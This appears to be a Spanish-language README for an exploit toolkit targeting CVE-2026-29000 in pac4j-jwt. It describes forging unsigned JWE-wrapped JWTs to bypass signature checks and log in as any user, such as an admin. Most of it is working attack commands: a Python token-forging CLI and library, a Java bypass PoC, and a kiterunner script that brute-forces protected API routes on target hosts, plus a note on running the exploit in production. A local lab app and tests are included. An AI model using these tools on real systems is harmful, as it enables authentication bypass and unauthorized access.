
Forge JWT envueltos en JWE sin firmar para evadir la verificación de firma de pac4j-jwt (CVE-2026-29000) y autenticarse como cualquier usuario; incluye CLI de Python, librería, PoC en Java y escaneo de rutas con kiterunner.
Buildout completo: informe técnico, PoC en Java en proceso, CLI y librería de forja de tokens en Python, pruebas.
Consulta WRITEUP.md para más detalles y requisitos del PoC.
| Ruta | Descripción |
|---|---|
WRITEUP.md | Resumen del CVE, causa raíz, versiones afectadas, requisitos del PoC, referencias |
RECON.md | Qué incluir (descubrimiento de claims, claims específicos de la aplicación) y dónde enviar (cabeceras, cookies, encontrar endpoints protegidos) |
OPERATIONALIZATION.md | Qué se necesita para ejecutar en producción: empaquetado, configuración, seguridad, automatización, observabilidad, mantenimiento |
scripts/kr_scan.py | Forjar token y ejecutar kiterunner (~/bin/kr) con Authorization: Bearer para fuerza bruta/escaneo de rutas API protegidas |
examples/ | Scripts de ejemplo: forge_and_curl.sh, forge_and_kr.sh |
lab/ | Aplicación Flask de laboratorio (endpoint JWE + JWKS) para probar la forja de tokens |
poc/ | PoC Java Maven (omisión en proceso contra pac4j-jwt 6.0.3) |
token_forge/ | Paquete Python: forjar PlainJWT envuelto en JWE desde PEM o URL JWKS |
tests/ | Pruebas Pytest para claims, forja, claves, CLI |
requirements.txt | Dependencias Python (jwcrypto, requests, pytest) |
python3 -m venv .venv
source .venv/bin/activate # o .venv\Scripts\activate en Windows
pip install -r requirements.txt
# Desde PEM (generar con: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /ruta/a/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"
# Desde URL JWKS
python -m token_forge --jwks-url https://objetivo/.well-known/jwks.json --subject admin
# Claims adicionales (para descubrimiento específico de la aplicación): --claim [email protected] --claim key=value
# Opciones: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose
Salida: una sola línea (JWT forjado); usar como Authorization: Bearer <token>.
Requiere kr en ~/bin/kr. Forjar token y ejecutar kr brute (o kr scan) con autenticación Bearer para descubrir rutas protegidas:
python scripts/kr_scan.py https://objetivo.com --jwks-url https://objetivo.com/.well-known/jwks.json
python scripts/kr_scan.py https://objetivo.com --public-key pub.pem -w paths.txt -o json --dry-run
Consulta RECON.md §4 para opciones (--subject, --roles, --claim, -A, --scan, etc.).
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url
with open("pub.pem", "rb") as f:
key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)
pytest -vv --tb=short --maxfail=1
# o con warnings como errores:
pytest -vv -W error -W always --tb=short --maxfail=1
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# O solo token (sin validación en proceso):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# Con subject/roles personalizados:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"
Resultado esperado: [BYPASS] Authenticated as: admin#override y roles al ejecutar en proceso.
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html # luego abrir htmlcov/index.html
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing
Aplicación Flask que acepta JWE y devuelve claims (para probar forja + curl/kr).
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me
Consulta lab/README.md.